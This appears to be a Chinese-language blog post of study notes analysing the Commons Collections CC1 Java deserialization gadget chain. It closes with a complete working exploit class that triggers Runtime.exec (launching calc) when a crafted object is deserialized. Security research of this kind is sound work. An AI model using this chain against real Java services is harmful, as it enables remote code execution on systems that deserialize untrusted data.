前言
最近在看p牛的Java安全漫谈反序列化篇,详细分析了CommonsCollections 这条链。
环境
jdk 版本 <=8u70
Apache Commons Collections <= 3.2.1
CommonsCollections 分析
先给出完整的利用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, transformer);
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class, transformedMap);
UnSerializ(Serializ(o));
利用点
从利用点开始分析
InvokerTransformer->transform
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
这个方法可以实现任意方法执行,通过传入一个对象,然后反射调用该对象的方法执行,通过查看该对象的构造方法,发现方法名、参数名可控。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
接下来通过该对象执行命令
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
寻找利用链
刚刚是我自己调用了transform
方法,接下来来看看有哪个方法中调用了transform
。
点进transform
方法,find Usages
查看引用。
上面的21处都引用了transform
方法,LazyMap
和TransformedMap
类都能可以利用,这里选择TransformedMap
进行进一步利用。
在TransformedMap
类中checkSetValue
方法调用了transform
方法。
接下来看看什么地方引用了checkSetValue
方法。
在TransformedMap
的父类AbstractInputCheckedMapDecorator
找到 MapEntry
类的setValue
中调用了checkSetValue
。
怎么去执行这个setValue呢?
每个Entry其实就是每个(key,value),通过for(Map.Entry entry:transformedMap.entrySet())
去遍历每个Enety,就可以调用setValue方法,然后就会执行checkSetValue,进而调用transform方法执行命令。
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}
目前为止,我们可以通过setValue方法设置map的值来触发命令执行。我们都知道反序列化会自动执行readObject方法,我们去查找哪个类的readObject方法引用了setValue方法。
有34处引用了setValue方法,看看有没有readObject方法引用setValue方法。
在AnnotationInvocationHandler
类中的readObject方法调用了setValue。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
看看这个类的构造方法
发现需要传入两个参数,一个需要传入一个注解,另一个个可以控制memberValues
属性,而恰好就是通过该属性调用了setValue
方法,这就很棒。
接下来创建该对象
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, transformedMap);
该类比较特殊,需要通过反射才能拿到,传入的是一个Override
注解,这个注解在后面会有一个坑,待会调试后再来调整。
接下来对最终的AnnotationInvocationHandler对象进行序列化,然后再将其反序列化,看看是否可以成功执行刚刚构造的InvokerTransformer->transform
。
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, transformedMap);
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(o);
System.out.println(barr);
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream stream = new ObjectInputStream(bais);
stream.readObject();
发现执行后,只输出了序列化后的数据,并没有执行到命令,接下来打个断点进行调试下。
这里有个坑,就是断点打在上面这条语句是断不到的。
执行readObject
方法的过程中,需要满足一个条件 memberType != null
, 调试中memberType
的值为null
。
那么要怎么才能满足这个条件呢?
因为看源码比较绕,通过看p牛的文章结合自己的思考,直接给出条件。
- 在对AnnotationInvocationHandler初始化的时候,第一个参数需要传入一个注解,这个注解当中要有变量,对map进行赋值,它的key 要跟注解当中的变量同名。
String name = memberValue.getKey(); // 拿到map的键名
Class<?> memberType = memberTypes.get(name); // 在通过键名在注解中进行查找
最开始,传入的是Override.class
Object o = constructor.newInstance(Override.class, transformedMap);
里面并没有定义任何变量,在Retention
,发现一个value
接下来将Override.class
替换成Retention.class
Map的的键名改成value
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class, transformedMap);
再次进行调试
可以发现memberType
已经不为空。
当我再次进行反序列化的时候,却报了个错
说的是exec
这个方法 在class sun.reflect.annotation.AnnotationTypeMismatchExceptionProxy
不存在。
原因是Runtime
这个类并没有实现序列化接口,不能够直接进行序列化,需要进行反射调用。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformer = new ChainedTransformer(transformers);
接下来,涉及到关键的三个类ChainedTransformer
ConstantTransformer
InvokerTransformer
ChainedTransformer
构造方法
构造方法的作用很简单,就是接收一个transformer数组,然后将该数组赋值给了类属性this.iTransformers。
transformer方法
这个方法的作用是遍历传入的transformer数组,里面保存的都是实现了transformer接口的对象,会挨个调用每个对象tranform方法,并且第一次调用后会将返回的结果作为下一个对象的参数再次调用。(放一张p牛的图)
ConstantTransformer类
构造方法 和 transform方法
这个类的构造方法会接收一个对象,并且将该对象赋值给this.iConstant,调用 transform方法就会返回该对象。上面代码传入的是Runtime.getRuntime()
。执行transform方法后将得到一个Runtime类的实例。
InvokerTransformer类
构造方法
transform方法
这个方法的功能是传入一个对象,然后通过反射拿到这个对象的类,在通过类拿到和方法名、参数类型拿到这个方法,在调用该方法。简单来说就是通过传入一个对象拿到指定方法,传指定参数进行调用,并且对象、方法名、参数都可控。
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
再回过头看看刚刚的代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformer = new ChainedTransformer(transformers);
只需要执行new ChainedTransformer(transformers).transform
,就会将transformers
数组中的四个对象链接起来,最后执行命令。
// new ConstantTransformer(Runtime.class)
Class input = Runtime.class;
// new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
Class cls = input.getClass();
Method getMethod = cls.getMethod("getMethod", new Class[]{String.class, Class[].class});
Object getRuntime = getMethod.invoke(input, new Object[]{"getRuntime",null});
// new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null})
Class cls1 = getRuntime.getClass();
Method invoke = cls1.getMethod("invoke", new Class[]{Object.class, Object[].class});
Object invoke1 = invoke.invoke(getRuntime, new Object[]{null, null});
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
Class<?> cls2 = invoke1.getClass();
Method exec = cls2.getMethod("exec", new Class[]{String.class});
exec.invoke(invoke1,"calc");
用最笨的办法将上面的语句连接起来执行,最后成功执行了命令。
有点像俄罗斯套娃,利用反射获取反射。
完整利用链
至此,一个完整的CC1利用链就构造完成了。
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, transformer);
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class, transformedMap);
UnSerializ(Serializ(o));
}
// 序列化
public static ByteArrayOutputStream Serializ(Object o) throws Exception {
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(o);
return barr;
}
// 反序列化
public static void UnSerializ(ByteArrayOutputStream baos) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}
总结
这条链对于我这种Java安全新手来说确实还是有很大难度,因为是第一次分析反序列化链条,后序还有很多链条会分析,所以就详细分析cc1,为之后分析打好基础,也陆陆续续分析了几天,踩了很多的坑,看了很多人的博客,理清楚每个知识点。其实这个过程还是很有意思的,再把整个过程总结出来,更能发现那些地方没搞懂。
参考文章&视频
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/